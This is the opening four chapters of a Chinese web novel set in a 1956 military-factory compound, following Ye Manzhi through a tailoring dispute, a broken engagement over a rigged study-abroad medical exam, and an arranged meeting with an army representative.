《五十年代军工大院》 1. 第 1 章 《五十年代军工大院》全本免费阅读 1956年,谷雨过后的小春风吹进了滨江城。 大院门口那条“快马加鞭奔向社会主义”的横幅,刚被人取下来,不多时又换上了一条红底白字的“热烈庆祝公私合营”。 叶满枝收回眺向窗外的目光,重又将心思放到面前的告状信上。 信的篇幅不长,内容却足以在叶家引起轩然大波了。 【街道办全体领导,你们好。我是一名普通的爱国市民,坚决支持伟大的社会主义改造,我要向领导报告一个我之到的情况!】 【光明街道居民,656厂机修车间工长——叶守信,开了一家才缝店!】 【地址是军工大院8栋3楼乙门西屋(他家三丫的房间),大师父就是三丫叶满枝(656厂子弟校高二甲班学生),已经干了二个月,估摸能挣二三十元钱,算是小手工业。】 【……】 【这在市民中的影想非常恶略,请领导仔细查查,让他家近快接受改造。】 啪—— 叶守信一巴掌拍在信纸上,恨声道:“赶紧让二丫头跟徐大军离婚!我不跟这种背后告状的小人当亲家!” 怒吼过后,室内寂静无声,没人附和或反对。 哪怕是热衷充当和事佬的叶满枝也懒得出声。 她对二姐夫徐大军实在是腻烦透顶了! 年初那会儿,报纸广播里突然开始鼓励女同志穿花衣服,爱俏的姑娘们纷纷响应号召,穿起了青白灰以外的颜色。 叶满枝从小就爱美爱打扮,哪怕穿的是她爸的车间工装裤,也要在胸前的大口袋上绣一丛小兰花儿。 这回有了响应号召的借口,她便央着亲妈扯布,自己动手做了件长袖的凡尔丁布拉吉。 裙子是比照着上海鸿霞牌的成衣做的,样式新颖,颜色鲜亮。 只穿到学校美了一天,便陆续有同学和邻居上门请她帮忙做衣服了。 每做一件就有七毛钱的手工费,对于每月仅有五毛零用钱的叶满枝来说,委实难以抗拒。 可是半个月前,就在她的裁缝事业蒸蒸日上的时候,街道干部却突然带着告状信找上门来,说她给人做衣服属于小手工业,要接受社会主义改造,并入“服装生产合作社”。 彼时,全市都在大搞社会主义改造,连大院对面的“陈记浴池”都被改造成了“公私合营陈记大众浴池”。 叶满枝若想继续做裁缝生意,就必须响应号召,带着缝纫机去合作社上班,以后按月领工资。 然而,老叶家供女儿读到高中,可不是为了让她当裁缝的! 一家人权衡再三后,只能不情不愿地放弃了这门意外赚钱的小生意。 …… “还是把缝纫机给我二姐送回去吧。” 叶满枝心里明镜似的,二姐夫敢用那笔缺胳膊断腿的狗爬字,往街道写匿名信,无非是怕她生意红火以后,扣着缝纫机不还。 那台缝纫机是二姐的嫁妆,这两年替婆家赚了不少外快。 前阵子,以防二姐挺着肚子还要继续操劳,老叶以借用的名义将缝纫机搬了回来,想等二姐出了月子再还。 “还什么还!我就不还!”叶守信把饭桌拍得乓乓响,“你怎么一点血性也没有,真不像我叶守信的闺女!” “您有血性,您倒是替我出口气呀!这封信到手一个礼拜,信纸都快揉烂了,也没见您拿出个章程来。只把徐大军打一顿有什么用?伤好以后,照样用我姐赚的钱吃香的喝辣的!” 这年头,离婚是件丢人的事。二姐跟徐大军感情不错,又刚怀上孩子,绝不可能听话离婚的。 打鼠还怕伤了玉瓶,这个哑巴亏,他们家不想吃也得吃了! 常月娥将两个搪瓷盆放到饭桌上,招呼道:“那告状信都看了多少天了,再看一百遍也看不出花儿来,先来吃饭吧!” 叶家今天的晚饭是一盆黑面馒头,一锅白菜炖粉条,还有半缸子苏伯汤。 牛肉、西红柿和奶油的混合香气,令人垂涎欲滴,四哥嗅了嗅鼻子说:“妈,我也想吃苏伯汤!” “等你妹吃完了,让你喝口汤,今天打的汤多。” 苏伯汤是厂里专门给苏联专家准备的小灶,凭着小闺女的体检单子,常月娥偶尔能从食堂打一份回来。 不过,自打裁缝生意被叫停后,她打菜的量就从四勺锐减到了一勺,勉强够叶满枝一个人吃的。 常月娥觉得闺女最近气色红润,头发乌黑亮泽,实在不像贫血的样子,正想问问她这苏伯汤得吃到啥时候,却被一阵很重的敲门声打断了。 “叶满枝!叶满枝!你给我出来!” 嘭嘭嘭—— 敲门声打扰了正在愉快舔爪的梨花,小猫警惕地蜷起身体,炸成一团蓬松的蒲公英,冲着门外咪咪叫了两声。 梨花的凶恶威胁无济于事,大门没上锁,几下便被拍开了。 发现来人居然是徐大军他妈,常月娥只愣了一秒就伸手拦人。 徐大娘却一把挥开她,径直冲向那个穿着湖蓝色旗袍的小姑娘。 “叶满枝,你什么意思?谁让你把我家登记成裁缝店的?” 叶满枝哑然一瞬,问了句废话:“什么什么意思?” “你少跟我装蒜!人家工商所的同志说了,是大军小姨子帮着填的登记表!还让我家赶紧去所里交钱,取营业证!”徐大娘横眉立目地骂道,“你说你小小年纪,心肠怎么那么歹毒呀!” 乍然听到这种消息,叶家人全都惊疑不定地望向偷偷作妖的自家姑娘。 特别是常月娥,惊讶又想笑,她只觉得女儿胆大机灵,比瞻前顾后的老叶强多了。 自家只是接了点私活,做衣服充其量算是小手工活。而老徐家若是有了营业证,那可就是实打实的小手工业了! 叶满枝本人还算淡定,一脸疑惑问:“大娘,我帮您家办了这么大的事,您不感激我就算了,怎么还倒打一耙呀?认真说起来,这还是您家那封告状信给我的启发呢!” “您看啊,您家有缝纫机,手艺也不错,有了营业证以后,必然会被街道要求接受改造,去‘服装生产合作社’上班!这不就能为您家多争取一个工作岗位嘛!” 徐大娘一双三角眼耷拉着,愤然啐道:“我呸!狗屁的工作岗位!” 那合作社招人也是有门槛的。 她家会做衣服的只有大儿媳一个,但儿媳妇单位的工资比合作社的裁缝高,哪能丢了西瓜捡芝麻? 原本她家每月能有七八块的外快,可是被叶满枝这样一搅和,她家算是在工商所和街道办挂上了号,即使不去领那张营业证,短期内也别想接私活儿了! 见她被气得面容扭曲,叶满枝心中痛快的同时又有点害怕。 脚下悄咪咪挪动,一点点躲到了她爸身后,自觉安全得到了保障,她又往对方旺盛的心火上添了一把柴。 “大娘,我姐去不成,不是还有您嘛!那合作社里,除了裁缝,也需要别的工人。我看您在招揽活计这方面还挺厉害的。我姐挺着大肚子,您都能帮她招揽十几份手工活呢!像您这样的人才,去了合作社一定有用武之地!” 被扯下遮羞布的徐大娘顿时恼羞成怒。 她让儿媳妇干点活怎么了? 嫁出去的女儿泼出去的水,要不是叶家人多管闲事,怎会造成如今的局面? 想到自家的损失,徐大娘愈加心痛,一边喊着让叶家人赔钱,一边挥手往那小蹄子脸上招呼。 叶守信赶忙张开手臂挡在闺女前面,摆出一副死猪不怕开水烫的架势说:“我家姑娘才多大,她懂什么是工商登记啊!你们家的营业证是我帮着办的,你要谢就谢我吧!” “欺负人!太欺负人了,我跟你们拼了!” …… 叶家这边鸡飞狗跳,引得左邻右里都跑到门口看热闹。 2. 第 2 章 《五十年代军工大院》全本免费阅读 三哥神色平静,路人的表现也一切如常。 叶满枝犹豫了一阵,觉得那一闪而逝的金色字迹太过无稽,便只当是自己眼花看岔了。 “嫂子,你的心情我还挺理解的。” “我什么心情?” “不舍得我三哥呗!你跟三哥结婚还不到一年,不舍得分开很正常呀。” 黄黎眉峰微扬。 这小姑子突然转性了? 叶满枝在家排行老六,是公婆重组家庭后,生下的唯一的孩子。 她出生时,常月娥带进门的大姐、五哥,以及叶守信这边的二姐、三哥和四哥,已经是懂事的大孩子了。 所以,作为联系重组家庭的重要纽带,这个小姑子从小就备受叶家人娇惯宠爱。 无论是根据作者的描述,还是黄黎自己的体会,叶满枝都是个非常自我的人。 对方居然会替她着想,真是活见鬼了! “嫂子,公派留学多光荣呀!我哥光荣,咱们当家属的也沾光。何况我三哥只去三年就能回来了。”叶满枝为了让对方好受点,不惜自揭伤疤,“你再看看周牧!他这一去就是五年呢,我还不是照样支持他去留学!” 除了各大国营工厂,教育部也会从高中和大学选拔应届毕业生赴苏留学。 叶满枝幼时曾就读于“苏联侨民会”开办的幼稚园,因着有童子功,俄文成绩向来出类拔萃。 选拔消息刚一公布,她就与周牧相约,争取共赴苏联求学,还提前两个月帮他突击练习了口语。 可惜造化弄人,周牧如愿被选中了,而她自己却因体检不合格落选了! 听她提起周牧,黄黎神情微妙地问:“你真放心让周牧一去五年?” “放心啊,”叶满枝扭捏道,“我才十八,五年以后再结婚也挺好的。” 黄黎淡笑着点点头,心中想的却是—— 【那周牧也不是什么好东西,留学期间就跟徐映雪暧昧不清,回国以后,更是在叶满枝孕期出轨,整个儿一大渣男!】 【鱼找鱼虾找虾,这仨人都不是省油的灯。就是苦了叶满堂,样貌、性格都不错的大好青年,又是男主角,竟然因为面甜心苦的后妈和搅风搅雨的妹妹,离了三次婚!】 【直到叶满枝因为故意伤人被关进高墙,从此彻底消停,他才得以跟女主复婚,过了几天好日子……】 黄黎的心理活动异常活跃,而叶满枝则被突然出现的一行行小字吓傻了眼,好半晌都没能发出声音。 周牧是她的娃娃亲对象,成绩非常优秀,带点少爷脾气,偶有二愣子之举。他能被国家选去留苏,也从侧面说明他经得住多方面的考验。要说他会有作风问题,叶满枝是绝不相信的。 再说,三哥婚姻幸福是她乐见其成的,咋可能盼着他离婚呢,还离了三次! 最重要的是,她连杀鸡都不敢,能故意伤谁啊? * 叶满枝琢磨了半晚上也没弄清楚,到底是自己眼花,还是三嫂报纸成精,真的在脑门上长了字。 有了前一天的经历,她真有点怵这个嫂子了。 所以,当三哥两口子大清早闹起离婚时,她完全没有掺和的心思,背着书包逃也似的出了门。 时下许多学校实行的是“二部制”。 碍于教室和教师数量有限,学校会让高一和高二的学生,轮流到校上半天课,另外半天则在家自学。 叶满枝这学期的课都被安排在下午。 她先去厂医院检查了视力,确定自己那双明亮的大眼睛没有任何问题后,才喜忧参半地前往学校。 快到门口时,林青梅从后面追上来,挽着她的手臂调侃:“今天怎么是你自己来上学的?周牧没跟你一起学俄文啊?” “省里给留学生安排了俄文预科班,人家有苏联老师了。” 林青梅语带艳羡:“听说到了莫斯科以后,他们能住公寓、看芭蕾,还能天天喝牛奶吃面包……” “嗯,好像还会发虎皮大衣、西装和皮鞋袜子呢!” “我数学成绩一般,考不上也算正常。你怎么也这么不争气啊?”林青梅在她白净的脸蛋子上掐了一把,“看你这样也不像营养不良的呀,连隔壁班那个徐映雪都能通过体格检查,你怎么就没通过呢!” 叶满枝与林青梅是一起捉鱼嬉水长大的玩伴,两人在私下聊过的“组织机密”真是海了去了,徐映雪那点事只是小儿科。 叶满枝遂直言不讳道:“我怀疑她以前动不动就请病假休息,其实是为了逃避上课!什么病西施呀,全是装的!” 莫斯科的冬天漫长而寒冷,国家在选拔留学生的时候,不但重视政审和考试成绩,对体格检查也格外严格。 营养不良、贫血、高血压、低血糖等常见的毛病,通通会被画叉。 徐映雪是学校里有名的病美人,她能通过那么严格的体检,只能说明人家身体健康得很,柔弱样子都是装出来的! 林青梅酸溜溜道:“幸好还有个工人阶级出身的刘国庆被选上了,否则这宝贵的留学名额,一个给了副厂长的儿子周牧,一个给了副总工的继女徐映雪,那得多落人口实呀!” 多年的默契让叶满枝很轻易就听懂了她的弦外之音——选拔结果也许有失公允。 她自己连体检那关都没通过,留学人选轮不到她操心,因此也从不关心人家是如何选上的。 可是思路一旦被打开,真的很难不让人多想。 这让她从昨晚就悬着的心,更加浮躁不安,只想尽快跟周牧确认某些猜测。 然而,她这边尚未有所行动,对方却率先跑来质问她了! 预科班最近在培训外国礼仪,周牧穿着笔挺的西装,梳着油头。 见了面就怒气冲冲地问:“是不是你把徐映雪家登记成裁缝店的?这不是损人不利己么!大家都是同学,以后相处起来多尴尬!” 叶满枝反应了一会儿,才记起二姐夫徐大军好像是徐映雪的堂哥。 她皱眉说:“徐映雪早就跟着她妈改嫁了,徐家的裁缝店跟她有什么关系?我被徐大军写告状信的时候,怎么不见你替我抱不平呢?” “那是两码事!你不做衣裳也没什么打紧,但她亲大伯家要是被定性成小业主,很可能会影响她的留学资格!” 选拔留学生时,政治可靠是一个很重要的指标。 叶满枝白他一眼说:“你有没有常识?徐家又没雇佣工人,算什么小业主?就算真的被定性成小业主了,也是她堂哥的错,谁让他偷偷摸摸写我家告状信的?再说这是我们两家的事,跟你有什么关系?” 周牧气呼呼道:“咱俩是定了娃娃亲的!” 叶满枝“哦”了一声,要笑不笑地说:“看你这气急败坏的样子,不知道的,还以为徐映雪才是跟你定亲的那个……” “我这是为了你好,毕竟你们既是亲戚又是同学,以后还要常来常往的……”周牧语气弱了些,将一直提着的布口袋往前一递,转换口风说,“算了,你家的事我懒得管,这是给你的。” 叶满枝打开口袋,里面躺着一个直径足有30公分的褐色大面包。 “这是友谊商店特供的黑列巴,只卖给持有苏联护照的人,我特意让俄文老师帮忙买的,就当是你帮我练俄文的谢礼!” 叶满枝掰下一小块面包皮嚼了嚼,黑麦的焦香瞬间充斥口腔,可她的心思却并不在这口面包上。 别人的指腹为婚是两小无猜、青梅竹马,而她跟周牧则是从小闹到大的欢喜冤家。 次次吵架针锋相对,谁也不让着谁。 可是,就在刚刚,提到徐映雪跟他的关系时,周牧竟然退缩了…… 叶满枝 3. 第 3 章 《五十年代军工大院》全本免费阅读 当叶满枝听说,周牧的表姑在市立医院体检科工作,体检报告就是由她经手调换的时候,须臾间便什么都明白了—— 周家人对她不满意。 更确切地说,是对现在的她不满意了。 这桩婚事是由叶满枝的姥爷和周牧的父亲,在十八年前定下的。 当时她姥爷在苏联人开办的全省唯一一家大型灌肠厂当副厂长,而周牧他爸只是一家汽修作坊的修配组长。 周牧能跟她定亲,属实是高攀了。 所以,在他们小的时候,周家长辈对她特别好,总是叮嘱周牧凡事多让着她。 可是,解放以后,外商纷纷撤资,姥爷的处境每况愈下,而周伯伯却在步步高升。 随着两家地位调转,叶满枝也渐渐感受到了周家长辈对她态度上的转变。 最明显的一次是,周牧的母亲劝她别总去业余国风音乐会排练,声称弹琵琶唱曲是下九流,不适合他们这样的人家。 而叶满枝的姥姥在旧社会曾是评弹艺人,叶家姐妹从小跟着她学琵琶。 这些,柳阿姨早在两家定亲时就清楚。 叶满枝眼眶酸涩,自尊和骄傲却不容许她在此时落泪。 她攥紧冰凉的掌心,平复心神问:“我要是不问,你就打算一直瞒着我了?” “不是……” 周牧懊恼地拍拍脑袋。 刚撞破这件事的时候,他也很震惊。 国家培养一个留学生的投入不菲,如果学生因为健康原因中断学业,损失的就是国家财产。 可是纠结许久后,他还是选择了沉默。 他私心里并不想与叶满枝一起去苏联。 叶满枝身上有很多优点,漂亮、手巧、热情烂漫。 可是,他俩自幼相识,这些是最容易被忽视的特质。相处久了,彼此身上的缺点反而会被无限放大。 他眼里的叶满枝,骄纵霸道,肆意嚣张,爱美还嘴馋。 小时候欺负他,长大了使唤他,对他管东管西,指手画脚。 就连一起去苏联留学的主意,都是由她拍板决定的! 周牧觉得,趁机与她分开五年也好。 叶满枝总是生机勃勃、光芒万丈,而他想走出被对方光芒笼罩的地方。 当然,无论理由多么冠冕堂皇,事情被说破时还是尴尬的。 他摸摸鼻子保证道:“别管我爸妈是怎么想的,反正等我从苏联回来,肯定还会娶你!” 极度的愤怒和屈辱让叶满枝再也按捺不住脾气,举起那个足有四斤重的黑列巴,就往对方脑门上砸去。 “周牧,你脑子是不是有病!” * 叶满枝与周牧闹掰的消息,瞒不住叶家人。 当天晚上,常月娥就暗戳戳打听情况了。 “刚才看到周牧在楼下等你,我请他上楼坐坐,他还不敢上来。你俩吵架了?” “他不是不敢上来,他是怕我把他家的丑事抖出来!” 叶满枝不是吃亏的性子,没等家人询问,就主动交代了事情的来龙去脉。 她说话时鼻音嗡嗡,肿眼泡里还噙着泪,常月娥一看就知道闺女这回是吃了大亏,受了大委屈了。 她理了理女儿乱糟糟的长发,问:“要是那个徐映雪被刷下去,能让你去苏联不?” “不能吧。我只参加了学校里的初选考试,省里的考试没参加。” 常月娥严肃颔首,把那两家人骂了个狗血淋头。 她家这个姑娘,让她做个衣裳,拨个琴,唱个歌,凡是与臭美沾边儿的事,她都特别在行。 至于学习成绩嘛,其实也就那样。 读了十年书,从没考过前三名! 哪怕真的体检合格,让她去省里参加考试,她也未必能考得上。 周家多此一举在体检环节做手脚,多半是早就相中了那个副总工家的徐映雪,想趁机让两个年轻人在留学期间培养感情。 “来芽,之后的事你就别管了,等你爸从二厂回来,一定让他替你找回公道!” “嗯嗯,到时候把来毛也喊回来。” 来毛是她五哥的小名,因小时候头发稀疏而得名。 叶满枝小名叫来芽,因不长牙而从了五哥的名。 兄妹俩半斤八两,谁也不比谁高贵。 “别哭了,一会儿给你开个桃罐头吃。” 桃罐头是叶家的高级病号饭,孩子要是生病或受了委屈,吃个桃罐头就能好个大半。 叶满枝捧着罐头瓶子答应得挺好,可是老叶还要出差半个月才能回来,她这口窝囊气哪能等那么久! 于是,她当晚就坐到了书桌前,一边抽抽搭搭,一边用尽毕生所学,给省教育厅写了一封内容详尽的举报信。 落款署名,叶满枝。 舍得一身剐,敢把皇帝拉下马! 她才不干偷偷摸摸的事,就是要实名举报! 为国选材何等重要,体检造假这种行为一经查实,必然会严惩不贷,杀一儆百! 话虽说得掷地有声,可她毕竟是第一次办这种大事,信件寄出后难免患得患失。 今天怀疑收信地址填错了,明天担心信件被寄丢了,后天又唯恐教育厅对她的举报不重视。 半个月的时间,翘首以盼,度日如年,却始终没等来任何回信。 就在她琢磨是否需要再写一封举报信的时候,省教育厅突然不声不响地来人了! 徐映雪苍白着脸,被两名工作人员带去省医院进行了第二次体检。 以她的身体素质,自然是通不过这种严格检查的。 周牧那位在体检科工作的表姑被暂停工作,配合调查。 徐映雪的公派赴苏资格也很快就被取消了。 令人意外的是,与之一同被取消的,竟然还有她的高中毕业证! 此时从小学到中学的学制是“十年一贯制”,高二就是他们这一届毕业生在校的最后一年。 拍毕业相片这天,叶满枝欢欢喜喜地站在板凳上,准备拍集体照。 扭头与林青梅说话时,却意外瞟见了许久不见的徐映雪。 对方排在隔壁班的队伍里,身形伶仃,面有倦容,正眼神怨毒地望向这边。 叶满枝被那眼神吓得一激灵,很快又输人不输阵地瞪了回去。 看什么看! 林青梅小声透露:“听乙班的学生说,郭校长只给她发了肄业证,她是咱们这一届唯一没拿到毕业证的人,肯定正在气头上呢!” 闻言,叶满枝解气地轻哼一声,定格在毕业照上的笑容都比旁人灿烂三分。 合影完毕,叶满枝从板凳上跳下来,正想与朋友们商量去江边划船的事,却突然被人扣住了手腕。 周牧带着怒意的声音在耳边炸响,“叶满枝,你什么意思?你真要跟我退婚?” “对啊,”叶满枝挣脱钳制,“我姥爷和爸爸不是已经去过你家了吗?” 十几年的情谊,不是说放就能放下的,但周家所为已经触及她的底线。 尽管体检的事,由周牧的表姑一力承担了下来,可真相到底如何大家心里都有一杆秤。 她才十八岁,还没学会戴着面具过日子,无法心无旁骛地与那样一家人共同生活。 更何况,胳膊拧不过大腿。 作为一万五千人大厂的副厂长,周牧他爸手里的权力不容小觑。 说她欺软怕硬也好,审时度势也罢,她父兄还要在厂里工作,不能因为她的这些事,把全家都搭进去。 所以,索性就如了对方的意,退婚吧! 周牧没料到会是这样的结果。 他俩刚落地就有了婚约,即便每次吵架都恨不得与对方一拍两散,却从没想过这一天会真的到来…… 见她态度坚决,表情冷淡,周牧既羞恼又不安,口不择言道:“你爸只是个工长,你跟我退婚以后,还能嫁给谁?能找到比我条件更好的吗?就你这个臭脾气,大院里那些流言蜚语你受得了吗?” 叶满枝原本还有些伤怀,闻言不由冷下脸说:“不劳你费心!好歹我还貌美如花呢,下回得找个遇事能维护我的!单凭这一点,随便什么人都比你强!” 周牧做事全然不顾她的感受,不就是认定她除了他别无选择吗! “好好好!”周牧顾不上围观同学的窃窃私语,气急败坏地威胁,“你要跟我退婚是吧?行!那去厂工会上班的事,你也别想了!” “不想就不想!” 不蒸馒头争口气,这个婚她退定了! 她对工作的态度一直是随缘的。 周牧想用工作拿捏她,委实找错了方向! 叶满枝不屑轻哼,翘着尾巴,趾高气昂而去。 * 在同学们陆续去新单位报到的时候,叶满枝并不着急联系单位,大多数时间都待在家里。 她家的房子是两室一厅的格局,对十一口人的大家庭来说,确实有些逼仄。 但两个姐姐出嫁了,五哥又搬去了外面,剩下这几口人,挤一挤也能塞得下。 父母带着她侄子住在小屋里,大屋中间砌了一堵墙,东边给了三哥两口子,西边归她使用。 不大的房间里,火炕、桌椅、炕柜一应俱全。 她每天在屋里弹弹琴,陪常月娥买买菜,偶尔去话剧团看看大姐的演出,再抽空探望一下怀孕的二姐。 要么日出而作日落而息,要么昏吃闷睡一大天,她真心觉得不用上班也挺好的,这样的日子她能过一辈子! 直到她又又又在三嫂的脑门上看到了金光闪闪的大字—— 【叶满枝怎么还不找个班上?依着她又馋又懒的做派,不会是想彻底赖在家里吧?】 【那还不如嫁去周家呢,好歹还能上几年班,生了孩子才逐渐向叶老四看齐,躺平啃老,无事生非的……】 叶满枝:“……” 慌忙咬了口长白糕,给自己压压惊。 经过一段时间的适应,她已经渐渐接受了三嫂的与众不同。 她小时候听过不少志怪传说,还被收惊仙姑招过魂儿。以她丰富又浅薄的迷信经验判断,三嫂这种情况八成是被黄大仙或狐狸精之类的精怪缠上了! 不过,对方总说她是搅家精,还批评她又馋又懒,搅风搅雨什么的,叶满枝对此还是有很大意见的! …… 好吧,最近这段时间,因为她的缘故,家里确实不太消停。 她退了副厂长家的婚事,又没有工作,不少人在背后看她家的笑话,有些没眼色的还会问到叶家人面前来,无端让人不痛快。 而且她发现三嫂换工作以后,似乎在搞什么创作,家里这个环境,的确不利于人家写作。 想到三哥也许会因为自己而离婚三次,叶满枝真是什么掐尖要强的想法都没了。 把铁盒子里的最后一块长白糕吃完,她拍了拍手上的白糖霜,难得生出些上进心,决定尽快找个班上! 一个人的力量是有限的,叶满枝立即动员全家人帮她留意招工信息。 还特意跑了一趟大姐夫的单位,请姐夫也帮帮忙。 然而,大多数单位在中学毕业前就组织完招工考试了。 零星有几个用人单位,要么离家太远,要么只招男同志,她忙忙碌碌一个多月,却始终没个结果。 “亲家,我这个侄子真是没得挑,家里就他一个儿子,以后的家业还不全是他的!” 叶满枝刚从外面回来,就听到了徐大娘略有些夸张的炫耀。 自从被代办了裁缝店营业证,徐大娘已经单方面与叶家绝交好几个月了,这会儿却坐在她家客厅里口沫横飞 ,不知又是为了什么…… 常月娥没听到开门声,冷淡打断滔滔不绝的徐大娘,“我们不打算让孩子太早嫁人,这事你就别再提了。” “十八不早了!过了这个村,以后可未必能找得到这么好条件的人家!”徐大娘神色倨傲,话里带着明显轻视。 常月娥则态度明确地再次婉拒。 她见过徐大娘的那个侄子,高小毕业,尖嘴猴腮,上头还有五个姐姐。 单独拎出任何一条她都不满意,何况对方把三条都占齐了。 老四媳妇却拉住她,小声劝道:“妈,亲家大娘来帮忙做媒也是好意,要不咱再听大娘说说具体情况?小妹早晚要嫁人,多一个人选也能多一个选择呀!” 沈亮妹这会儿真是巴不得小姑子赶紧嫁人。 叶家最大的两个女儿满金、满玉,以及儿子满堂、满桂,都已经成家了。 她男人叶满桂算是四人里最没本事的。 读书少又没个正经工作,自打一家人搬进楼房以后,他们两口子就凑合在这间小客厅里。 晚上把木板搭在四把椅子上,勉强拼出一张床,白天再把木板拆了,方便其他人在客厅活动。 每天拼床拆床,循环往复,连儿子都不能自己带,日子过得没滋没味。 原本小姑子独占一间房,她虽有嫉妒,却从没说过什么,毕竟小姑子以后要嫁进副厂长家,她还指望对方能帮叶满桂介绍个体面工作。 可这小姑子不知中了什么邪,前阵子非要闹着跟周家退亲。 不但毁了一桩好亲事,还弄丢了她求也求不来的好工作。 事已至此,沈亮妹也不想再忍了,她和男人连房间要如何布置都畅想好了,只等小姑子尽快腾地方嫁人。 这种退了婚的姑娘,其实更好找婆家,条件太好的男人不好找,但次一等的一抓一大把。 就比如面前徐大娘的侄子。 徐大娘见叶家有人声援自己,立即又来了底气,挺直后背,端起了架子。 “亲家,我知道你是咋想的。你家老幺读过书有文化,长得也还行,你们一门心思想给她找个高门大户。她要是没有指腹为婚这档子事,你们家心气高一点,也还说得过去。可是今时不同往日了呀!她毕竟是退过亲的丫头,放在旧社会那是要被送去庵堂的,现在有人肯来提亲,你们也别太挑了!” “你还想把我姑娘送到庵堂里去?” 常月娥登时大怒,抄起手边的炕扫帚就要将人撵出去。 犯错的是老周家, 4.第 4 章 《五十年代军工大院》全本免费阅读 叶满枝很快就从妈妈那里得知,老叶正在托关系帮她介绍对象。 但她觉得老叶只是随口说说的,相亲根本没戏。 她不是厂职工,还跟周家闹得不太愉快,为了照顾周副厂长的面子,介绍人也不太可能推荐她跟军代表相亲。 她与那位吴团长就像两条距离很近的平行线,无论看上去多么触手可及,都不会有相交的可能。 然而,叶守信这回简直是雷厉风行,动作神速,没过几天就带回了确切消息。 “人家觉得来芽很不错,这周末就可以安排见面了!” 叶满枝一双眼睛瞪得浑圆,惊讶问:“爸,你真去厂里自荐啦?我现在连个正式工作都没有,党组织怎么可能会同意待业女青年跟军代表相亲呀?你可不能糊弄组织!” 她虽然自信,但该有的自知之明还是有的。 “没工作只是暂时的,你是高中生,迟早能找到工作!我已经跟介绍人讲清楚了,人家都能理解!” 叶满枝喃喃:“这也太快了吧!” “是挺快的,”叶守信端起茶缸牛饮一气,老神在在地感慨,“这事还多亏了老陈帮忙!” 党组织替人介绍对象,跟车间里评选先进工人差不多,少有毛遂自荐的,候选人通常由其他人推举。 老陈是基建处的钢筋工,媳妇在厂妇联工作。 两口子都是基层职工,没有任何领导职务。按理说,在这件事上没什么发言权。 但老陈媳妇还有一层特殊身份——吴峥嵘亲姑父的亲大姐! 七拐八绕的亲戚也是亲戚,她推荐的人选,党组织肯定要酌情考虑的。 当然了,对方能答应帮忙,一方面要归功于他的厚脸皮,一礼拜请老陈喝了三顿酒,另一方面是他带去的相片起了作用。 小闺女穿着五四青年装,梳俩麻花辫儿,眼睛笑出两弯月牙,亭亭玉立的小姑娘,十分赏心悦目。 叶满枝被亲爹的高效率打个措手不及,略显慌张地问:“真让我俩相亲呀?” 她还没有思想准备呢! “那还能有假!” 叶满枝嗫嚅着,不好意思说,她有点怕那个吴峥嵘。 其实,她早就见过对方了。 两次。 每次都印象深刻。 第一次是在去年底。 市里的几家大型工厂要去市政府汇报一年的生产成果。 工人代表们抬着足有两个门板大的红色喜报,一路吹吹打打,从厂大门送到了市政府。 报喜队伍络绎不绝,整个滨江市锣鼓喧天,红旗招展,大街小巷挤满了欢庆的市民。 这样的热闹,自然少不了叶满枝和林青梅,她俩一大早就去厂部楼下抢占了最佳位置。 可是,厂里要在那天交付一批重要军需物资,为了不影响交付进度,656厂的报喜队伍必须避开重要路段,等到部队的运输车全部离开后,方能听令开拔。 叶满枝站在人群中,目送军绿色的大卡车依次驶离工厂。 眼瞅着最后一辆车也要离开,大家的欢呼声即将冲破喉咙时,那辆汽车却倏然在厂部门前的空地上刹住了。 司机从驾驶室跳下来,冲着厂部大门的方向敬个军礼。 大家顺着他的视线寻过去。 有个身着将校呢大衣,腰间配枪的高大男人从楼里走出来,身姿挺拔,气场强盛,身后还跟着七八个荷枪实弹的士兵。 男人与沈厂长握手道别后,疾步走下台阶,黑色军靴压实皑皑白雪,率先跨进了副驾驶。 其余士兵也训练有素地跳上后车厢。 前后不到一分钟的工夫,汽车便重新启动,轰鸣着离开了众人视野。 除了门口岗哨里的执勤小战士,这是叶满枝第一次近距离接触军人和武器。 那股凛凛的威严感和压迫感,让人陡然心跳失拍,下意识屏住呼吸。 她听到人群里有人说,走在最前面的那位,就是前阵子刚调来的驻厂军代表,吴团长。 656厂是中央直管企业,占地面积堪比一个小县城,家属们偶遇厂领导的概率,并不比偶遇县长大多少。 叶满枝再次见到这位吴团长,已是几个月后了。 当时老叶正在厂里连轴加班,整整一个礼拜没能回家。 她按照常月娥同志的指派,去给老叶送换洗衣物。 军工厂的守卫严格,外人不被允许进入车间,她便捧着包袱去厂房门口做登记。 结果刚转过厂房拐角,就看到了令她胆战心惊的一幕。 前方突然传来枪响,两名保卫干事押着一个中年男人从车间走出来。 那男人的左小腿受了伤,走路一瘸一拐的,水泥地面被染上星星点点的暗红血迹。 走在后面的吴峥嵘对保卫科长说:“这人就交给李科长了,他手上已经掌握了部分重要数据和图纸,李科长可得把人看牢了。” “您放心,我这就让人连夜审讯,他要是敢跑,那另一条腿也保不住了。” 吴峥嵘对这个回答似乎并不满意,唇角微扬,说出的话却格外冷酷。 “一旦发现对方意图逃跑,当场击毙,我会向上级做出书面解释的。” 闻言,前方被押送的男人,额角青筋直跳。 而不远处的叶满枝,即便清楚自己不是威慑对象,仍被那种杀人如杀鸡般的轻描淡写,吓得一哆嗦。 对方刚刚扣动扳机的画面,在她脑中不断循环,骇人情景不受控制地反复再现。 吴峥嵘却在这时突然抬眼,往她的方向看过来。 眸光审视锐利,让叶满枝陡然生出一种直面危险的惊惧感。 即使对方顶着一张让人惊艳的美人脸,她也全无欣赏的勇气,在原地僵立几秒后,很没出息地逃了。 …… “爸,人家吴团长是厂领导,哪是咱们可以肖想的!” 叶满枝有时胆儿肥得出奇,有时又怂得要命。 一想到那天的场景,她就汗毛直竖。 哪敢跟人家相亲呀! “厂领导怎么了?厂领导也得吃喝拉撒,也得娶媳妇生孩子吧?” 叶守信极力促成这次相亲,一方面是觉得吴峥嵘这年轻人不错,另一方面是想让女儿尽快开启新生活。 叶满枝体会不到老父亲的良苦用心,退堂鼓打得嘭嘭响,“吴团长年纪好像不小了吧?他这么多年都没成家,是不是有什么隐情啊?” “这个我打听过,吴团长26了,前些年吴家老爷子,就是他爷爷,做主替他包办了一门亲事,但他接连上战场,好几年生死未卜,人家姑娘解除婚约另嫁了。” 叶守信对这个人选十分满意,但也没错过闺女脸上的勉强之色。 叶来芽这丫头,从小就欺软怕硬。 对着自家人的时候,撒娇耍赖样样行,可是这会儿听到吴团长的名号就先怯了三分。 叶守信早知她是个窝里横,遂伸手从口袋里掏出一张崭新的门票。 